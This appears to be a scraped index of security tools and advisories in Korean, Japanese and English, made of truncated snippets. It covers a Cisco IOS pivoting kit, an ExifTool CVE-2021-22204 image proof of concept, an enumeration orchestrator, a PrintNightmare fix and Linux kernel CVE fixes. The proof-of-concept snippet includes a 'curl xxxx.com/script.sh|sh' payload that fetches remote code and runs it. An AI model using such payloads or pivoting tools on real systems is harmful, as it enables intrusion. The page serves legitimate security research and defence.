TCLtools

Cisco IOS 침투 테스트를 위한 TCL 스크립트 TCLtools를 사용하면 모든 Cisco IOS 하드웨어를 피벗 스테이션으로 변환할 수 있습니다. 설정과 사용이 쉽습니다! 기능 TCLmap — 포트 스캐너 구현 nmap TCLproxy — 프록시 서버 구현 TCLproxy TCLproxy는 Cisco 장치를 통한 피벗을 위한 도구입니다. 모든 TCP 포트를 포워딩하거나 프록시 서버를 실행할 수 있습니다. root@kitploit: TCLproxy v0.0.3 Usage: tclsh ./tclproxy.tcl -L...

system_bt_AOSP10_r33_CVE-2021-0431

Fluoride Bluetooth スタック AOSP でのビルドと実行 AOSP をビルドするだけです。Fluoride はデフォルトで含まれています。 Linux でのビルドと実行 Ubuntu 向けの手順です。14.04 では Clang 3.5.0、16.10 では Clang 3.8.0 でテストしています。 ソースのダウンロード root@kitploit: mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 依存関係をインストールします sud...

authelia v4.39.22

!OpenSSF Best...

gdb-dashboard

GDB dashboard GDB dashboard is a standalone .gdbinit file written using the Python API that enables a modular interface showing relevant information about the program being debugged. Its main goal is to reduce the number of GDB commands needed to inspect the status of current program thus allowin...

hashview

Hashview v0.8.2 Hashview is a tool for security professionals to help organize and automate the repetitious tasks related to password cracking. It is broken into two compoents, the Hashview Server, and Hashview Agent. The Hashview Server is a web application that manages one or more agents,...

reverse-engineering

리버스 엔지니어링 자료 엄선된 멋진 리버싱 리소스 목록 멋진 리버싱 도서 강좌 실습 16진수 편집기 바이너리 형식 디스어셈블러 바이너리 분석 바이트코드 분석 임포트 재구성 동적 분석 디버깅 Mac 복호화 문서 분석 스크립팅 안드로이드 Yara 도서 리버스 엔지니어링 도서 IDA Pro Book Radare2 Book 초보자를 위한 리버스 엔지니어링 어셈블리 언어의 예술 실용 리버스 엔지니어링 리버싱: 리버스 엔지니어링의 비밀 실용 악성코드 분석 악성코드 분석가의 쿡북 그레이 햇 해킹 액세스 거부 메모리 포렌식의 예술 해킹:...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 これはテスト用に私が書いた単なる便利スクリプトです。 出力 root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be...

Vanquish

Vanquish – シェルを取得する Vanquishは、Kali Linuxベースの列挙オーケストレーターでPythonで構築されています。VanquishはKali上のオープンソースの列挙ツールを活用して、複数のアクティブな情報収集フェーズを実行します。各フェーズの結果は次のフェーズに投入され、リモートシェルを獲得するために利用できる脆弱性を特定します。 asciicast Vanquishの機能 Vanquishが他の列挙スクリプトと比べて特に優れている点は何でしょうか？ 1. マルチスレッド – 複数のコマンドを同時に実行し、複数のホストを同時にスキャンします。 2. 設定可能...

tiny_tracer

tinytracer A Pin Tool for tracing: API calls, including input and output of selected functions defined local functions, and functions from statically linked libraries selected instructions: RDTSC, CPUID, INT inline system calls, including parameters of selected syscalls transition between section...

Printnightmare

Printnightmare PrintNightmare CVE-2021-34527 の修正 スプーラーを無効にするには、disable-spooler.ps1 ファイルを管理者として実行してください root@kitploit: powershell.exe -executionpolicy bypass -file .\disable-spooler.ps1 一括で無効にするには、すべてのサーバーの名前を記載したサーバーリスト（例: serverlist.txt）を作成し、disable-spooler.cmd...

DEBIAN-CVE-2026-80855

In the Linux kernel, the following vulnerability has been resolved: fuse: fix invalidate lock leak on open OTRUNC DAX failure fuseopen takes filemapinvalidatelock for a DAX truncate daxtruncate = true and releases it before the outinodeunlock label. But when fusedaxbreaklayouts fails, the goto...

CVE-2026-80855

In the Linux kernel, the following vulnerability has been resolved: fuse: fix invalidate lock leak on open OTRUNC DAX failure fuseopen takes filemapinvalidatelock for a DAX truncate daxtruncate = true and releases it before the outinodeunlock label. But when fusedaxbreaklayouts fails, the goto...

DEBIAN-CVE-2026-80856

In the Linux kernel, the following vulnerability has been resolved: fuse: fix invalidate lock leak on setattr writeback failure fusedosetattr takes filemapinvalidatelock for a DAX truncate faultblocked = true and releases it at the out:/error: labels. But when a writeback flush is also needed, a...

CVE-2026-80856

In the Linux kernel, the following vulnerability has been resolved: fuse: fix invalidate lock leak on setattr writeback failure fusedosetattr takes filemapinvalidatelock for a DAX truncate faultblocked = true and releases it at the out:/error: labels. But when a writeback flush is also needed, a...

DEBIAN-CVE-2026-80851

In the Linux kernel, the following vulnerability has been resolved: gtp: serialize PDP context updates PDP contexts can be deleted through GTPCMDDELPDP or while the GTP network device is being unregistered. The latter is serialized by RTNL, but the generic-netlink delete path only holds RCU...

CVE-2026-80851

In the Linux kernel, the following vulnerability has been resolved: gtp: serialize PDP context updates PDP contexts can be deleted through GTPCMDDELPDP or while the GTP network device is being unregistered. The latter is serialized by RTNL, but the generic-netlink delete path only holds RCU...

CVE-2026-80824

In the Linux kernel, the following vulnerability has been resolved: usb: usbfs: fix use-after-free of usbdevice in usbdevrelease usbdevrelease drops its reference to the struct usbdevice before draining the list of completed async URBs, but that drain path reads back through the same object:...

DEBIAN-CVE-2026-80824

In the Linux kernel, the following vulnerability has been resolved: usb: usbfs: fix use-after-free of usbdevice in usbdevrelease usbdevrelease drops its reference to the struct usbdevice before draining the list of completed async URBs, but that drain path reads back through the same object:...

CVE-2026-80809

In the Linux kernel, the following vulnerability has been resolved: ocfs2: fix missing metadata reservation for large xattrs BUG lsetxattr panics the kernel when setting a large xattr value on a fragmented filesystem where the file already has an external xattr block. CAUSE ocfs2calcxattrsetneed...

DEBIAN-CVE-2026-80810

In the Linux kernel, the following vulnerability has been resolved: iouring/rsrc: fix folio size overflow in iovecfillbvec iovecfillbvec computes the folio size with a plain int 1: unsigned long foliosize = 1 folioshift; imu-folioshift is unsigned int and comes from folioshift of the folio backin...